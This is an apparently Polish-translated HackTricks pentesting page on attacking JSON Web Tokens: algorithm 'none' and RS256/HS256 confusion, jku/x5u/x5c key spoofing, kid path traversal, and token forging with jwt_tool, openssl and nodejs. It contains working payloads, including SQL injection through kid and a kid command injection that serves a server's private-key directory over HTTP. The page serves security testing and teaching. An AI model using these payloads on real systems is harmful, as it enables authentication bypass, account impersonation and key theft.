hacktricks/pentesting-web/hacking-jwt-json-web-tokens.md

18 KiB
Raw Blame History

JWT Vulnerabilities (Json Web Tokens)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

If you are interested in hacking career and hack the unhackable - we are hiring! (wymagana biegła znajomość polskiego w mowie i piśmie).

{% embed url="https://www.stmcyber.com/careers" %}

Część tego wpisu opiera się na świetnym poście: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor wspaniałego narzędzia do pentestowania JWT https://github.com/ticarpi/jwt_tool

Quick Wins

Run jwt_tool with mode All Tests! and wait for green lines

python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Jeśli masz szczęście, narzędzie znajdzie przypadek, w którym aplikacja webowa nieprawidłowo sprawdza JWT:

Następnie możesz wyszukać żądanie w swoim proxy lub zrzucić używany JWT dla tego żądania za pomocą jwt_ tool:

python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Możesz również użyć Burp Extension SignSaboteur, aby uruchomić ataki JWT z Burp.

Modyfikacja danych bez zmiany czegokolwiek

Możesz po prostu zmodyfikować dane, pozostawiając podpis bez zmian, i sprawdzić, czy serwer weryfikuje podpis. Spróbuj zmienić swoją nazwę użytkownika na "admin", na przykład.

Czy token jest weryfikowany?

Aby sprawdzić, czy podpis JWT jest weryfikowany:

  • Komunikat o błędzie sugeruje trwającą weryfikację; wrażliwe szczegóły w szczegółowych błędach powinny być przeglądane.
  • Zmiana w zwróconej stronie również wskazuje na weryfikację.
  • Brak zmiany sugeruje brak weryfikacji; to jest moment, aby eksperymentować z modyfikowaniem roszczeń ładunku.

Pochodzenie

Ważne jest, aby ustalić, czy token został wygenerowany po stronie serwera, czy klienta, badając historię żądań proxy.

  • Tokeny po raz pierwszy widziane po stronie klienta sugerują, że klucz może być narażony na kod po stronie klienta, co wymaga dalszego zbadania.
  • Tokeny pochodzące z serwera wskazują na bezpieczny proces.

Czas trwania

Sprawdź, czy token trwa dłużej niż 24 godziny... może nigdy nie wygasa. Jeśli istnieje pole "exp", sprawdź, czy serwer poprawnie je obsługuje.

Atak brute-force na tajny klucz HMAC

Zobacz tę stronę.

Zmień algorytm na None

Ustaw używany algorytm na "None" i usuń część podpisu.

Użyj rozszerzenia Burp o nazwie "JSON Web Token", aby spróbować tej podatności i zmienić różne wartości wewnątrz JWT (wyślij żądanie do Repeater, a w zakładce "JSON Web Token" możesz zmodyfikować wartości tokena. Możesz również wybrać, aby ustawić wartość pola "Alg" na "None").

Zmień algorytm RS256 (asymetryczny) na HS256 (symetryczny) (CVE-2016-5431/CVE-2016-10555)

Algorytm HS256 używa tajnego klucza do podpisywania i weryfikacji każdej wiadomości.
Algorytm RS256 używa klucza prywatnego do podpisywania wiadomości i używa klucza publicznego do uwierzytelniania.

Jeśli zmienisz algorytm z RS256 na HS256, kod zaplecza używa klucza publicznego jako tajnego klucza, a następnie używa algorytmu HS256 do weryfikacji podpisu.

Następnie, używając klucza publicznego i zmieniając RS256 na HS256, moglibyśmy stworzyć ważny podpis. Możesz pobrać certyfikat serwera WWW, wykonując to:

openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Nowy klucz publiczny w nagłówku

Atakujący osadza nowy klucz w nagłówku tokena, a serwer używa tego nowego klucza do weryfikacji podpisu (CVE-2018-0114).

Można to zrobić za pomocą rozszerzenia "JSON Web Tokens" w Burp.
(Wyślij żądanie do Repeater, w zakładce JSON Web Token wybierz "CVE-2018-0114" i wyślij żądanie).

Oszustwo JWKS

Instrukcje szczegółowo opisują metodę oceny bezpieczeństwa tokenów JWT, szczególnie tych, które wykorzystują roszczenie nagłówka "jku". To roszczenie powinno prowadzić do pliku JWKS (JSON Web Key Set), który zawiera klucz publiczny niezbędny do weryfikacji tokena.

  • Ocena tokenów z nagłówkiem "jku":
  • Zweryfikuj URL roszczenia "jku", aby upewnić się, że prowadzi do odpowiedniego pliku JWKS.
  • Zmodyfikuj wartość "jku" tokena, aby kierować do kontrolowanej usługi internetowej, co umożliwi obserwację ruchu.
  • Monitorowanie interakcji HTTP:
  • Obserwowanie żądań HTTP do określonego URL wskazuje na próby serwera pobrania kluczy z podanego linku.
  • Podczas korzystania z jwt_tool w tym procesie, ważne jest, aby zaktualizować plik jwtconf.ini o swoją lokalizację JWKS, aby ułatwić testowanie.
  • Polecenie dla jwt_tool:
  • Wykonaj następujące polecenie, aby zasymulować scenariusz z jwt_tool:
python3 jwt_tool.py JWT_HERE -X s

Przegląd problemów z Kid

Opcjonalne roszczenie nagłówka znane jako kid jest wykorzystywane do identyfikacji konkretnego klucza, co staje się szczególnie istotne w środowiskach, gdzie istnieje wiele kluczy do weryfikacji podpisu tokena. To roszczenie pomaga w wyborze odpowiedniego klucza do weryfikacji podpisu tokena.

Ujawnianie klucza przez "kid"

Gdy roszczenie kid jest obecne w nagłówku, zaleca się przeszukać katalog internetowy w poszukiwaniu odpowiadającego pliku lub jego wariantów. Na przykład, jeśli określono "kid":"key/12345", należy przeszukać pliki /key/12345 i /key/12345.pem w katalogu głównym serwisu.

Przechodzenie po ścieżkach z "kid"

Roszczenie kid może być również wykorzystane do nawigacji po systemie plików, co potencjalnie pozwala na wybór dowolnego pliku. Możliwe jest testowanie łączności lub przeprowadzanie ataków Server-Side Request Forgery (SSRF) poprzez zmianę wartości kid, aby celować w konkretne pliki lub usługi. Manipulacja JWT w celu zmiany wartości kid, zachowując oryginalny podpis, może być osiągnięta za pomocą flagi -T w jwt_tool, jak pokazano poniżej:

python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

By targeting files with predictable content, it's possible to forge a valid JWT. For instance, the /proc/sys/kernel/randomize_va_space file in Linux systems, known to contain the value 2, can be used in the kid parameter with 2 as the symmetric password for JWT generation.

SQL Injection via "kid"

If the kid claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the kid payload. An example payload that uses SQL injection to alter the JWT signing process includes:

non-existent-index' UNION SELECT 'ATTACKER';-- -

This alteration forces the use of a known secret key, ATTACKER, for JWT signing.

OS Injection through "kid"

A scenario where the kid parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the kid parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u and jku

jku

jku stands for JWK Set URL.
If the token uses a “jkuHeader claim then sprawdź podany URL. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.

First you need to create a new certificate with new private & public keys

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Następnie możesz użyć na przykład jwt.io, aby stworzyć nowy JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr jku na utworzony certyfikat. Aby stworzyć ważny certyfikat jku, możesz pobrać oryginalny i zmienić potrzebne parametry.

Możesz uzyskać parametry "e" i "n" z certyfikatu publicznego, używając:

from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. URI wskazujący na zestaw publicznych certyfikatów X.509 (standard formatu certyfikatu) zakodowanych w formacie PEM. Pierwszy certyfikat w zestawie musi być tym używanym do podpisania tego JWT. Kolejne certyfikaty podpisują każdy poprzedni, tym samym kończąc łańcuch certyfikatów. X.509 jest zdefiniowany w RFC 52807. Bezpieczeństwo transportu jest wymagane do przesyłania certyfikatów.

Spróbuj zmienić ten nagłówek na URL pod twoją kontrolą i sprawdź, czy jakiekolwiek żądanie zostanie odebrane. W takim przypadku możesz zmanipulować JWT.

Aby sfałszować nowy token przy użyciu certyfikatu kontrolowanego przez Ciebie, musisz stworzyć certyfikat i wyodrębnić klucze publiczny i prywatny:

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Następnie możesz użyć na przykład jwt.io do stworzenia nowego JWT z utworzonymi kluczami publicznymi i prywatnymi oraz wskazując parametr x5u na certyfikat .crt utworzony.

Możesz również wykorzystać obie te luki do SSRF.

x5c

Ten parametr może zawierać certyfikat w base64:

Jeśli atakujący wygeneruje certyfikat samopodpisany i stworzy fałszywy token używając odpowiadającego klucza prywatnego oraz zastąpi wartość parametru "x5c" nowo wygenerowanym certyfikatem i zmodyfikuje inne parametry, mianowicie n, e i x5t, to zasadniczo fałszywy token zostanie zaakceptowany przez serwer.

openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Wbudowany klucz publiczny (CVE-2018-0114)

Jeśli JWT zawiera wbudowany klucz publiczny, jak w poniższym scenariuszu:

Używając poniższego skryptu nodejs, możliwe jest wygenerowanie klucza publicznego z tych danych:

const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Możliwe jest wygenerowanie nowego klucza prywatnego/publicznego, osadzenie nowego klucza publicznego wewnątrz tokena i użycie go do wygenerowania nowego podpisu:

openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Możesz uzyskać "n" i "e" za pomocą tego skryptu nodejs:

const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Finally, using the public and private key and the new "n" and "e" values you can use jwt.io to forge a new valid JWT with any information.

ES256: Odkrywanie klucza prywatnego przy użyciu tego samego nonce

Jeśli niektóre aplikacje używają ES256 i używają tego samego nonce do generowania dwóch jwt, klucz prywatny może zostać przywrócony.

Here is a example: ECDSA: Odkrywanie klucza prywatnego, jeśli użyto tego samego nonce (z SECP256k1)

JTI (JWT ID)

Zgłoszenie JTI (JWT ID) zapewnia unikalny identyfikator dla tokena JWT. Może być używane do zapobiegania ponownemu odtwarzaniu tokena.
Jednak wyobraź sobie sytuację, w której maksymalna długość ID wynosi 4 (0001-9999). Żądania 0001 i 10001 będą używać tego samego ID. Jeśli backend zwiększa ID przy każdym żądaniu, można to wykorzystać do ponownego odtworzenia żądania (konieczność wysłania 10000 żądań między każdym udanym odtworzeniem).

Zarejestrowane zgłoszenia JWT

{% embed url="https://www.iana.org/assignments/jwt/jwt.xhtml#claims" %}

Inne ataki

Ataki Relay między usługami

Zaobserwowano, że niektóre aplikacje internetowe polegają na zaufanej usłudze JWT do generowania i zarządzania swoimi tokenami. Zarejestrowano przypadki, w których token wygenerowany dla jednego klienta przez usługę JWT był akceptowany przez innego klienta tej samej usługi JWT. Jeśli zaobserwuje się wydanie lub odnowienie JWT za pośrednictwem usługi zewnętrznej, należy zbadać możliwość rejestracji konta na innym kliencie tej usługi przy użyciu tej samej nazwy użytkownika/adresu e-mail. Następnie należy spróbować ponownie odtworzyć uzyskany token w żądaniu do celu, aby sprawdzić, czy zostanie zaakceptowany.

  • Krytyczny problem może być wskazywany przez akceptację twojego tokena, co potencjalnie pozwala na podszywanie się pod konto dowolnego użytkownika. Należy jednak zauważyć, że może być wymagana zgoda na szersze testowanie, jeśli rejestracja w aplikacji zewnętrznej jest konieczna, ponieważ może to wprowadzać w szare obszary prawne.

Sprawdzanie ważności tokenów

Ważność tokena jest sprawdzana za pomocą zgłoszenia "exp" Payload. Biorąc pod uwagę, że JWT są często używane bez informacji o sesji, wymagana jest ostrożna obsługa. W wielu przypadkach przechwycenie i ponowne odtworzenie tokena innego użytkownika może umożliwić podszywanie się pod tego użytkownika. RFC JWT zaleca łagodzenie ataków ponownego odtwarzania JWT poprzez wykorzystanie zgłoszenia "exp" do ustawienia czasu wygaśnięcia tokena. Ponadto wdrożenie odpowiednich kontroli przez aplikację w celu zapewnienia przetwarzania tej wartości i odrzucania wygasłych tokenów jest kluczowe. Jeśli token zawiera zgłoszenie "exp" i limity czasowe testowania na to pozwalają, zaleca się przechowywanie tokena i ponowne odtworzenie go po upływie czasu ważności. Zawartość tokena, w tym analiza znaczników czasowych i sprawdzanie ważności (znacznik czasu w UTC), można odczytać za pomocą flagi -R narzędzia jwt_tool.

  • Może występować ryzyko bezpieczeństwa, jeśli aplikacja nadal weryfikuje token, ponieważ może to sugerować, że token nigdy nie może wygasnąć.

Narzędzia

{% embed url="https://github.com/ticarpi/jwt_tool" %}

If you are interested in hacking career and hack the unhackable - we are hiring! (fluent polish written and spoken required).

{% embed url="https://www.stmcyber.com/careers" %}

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}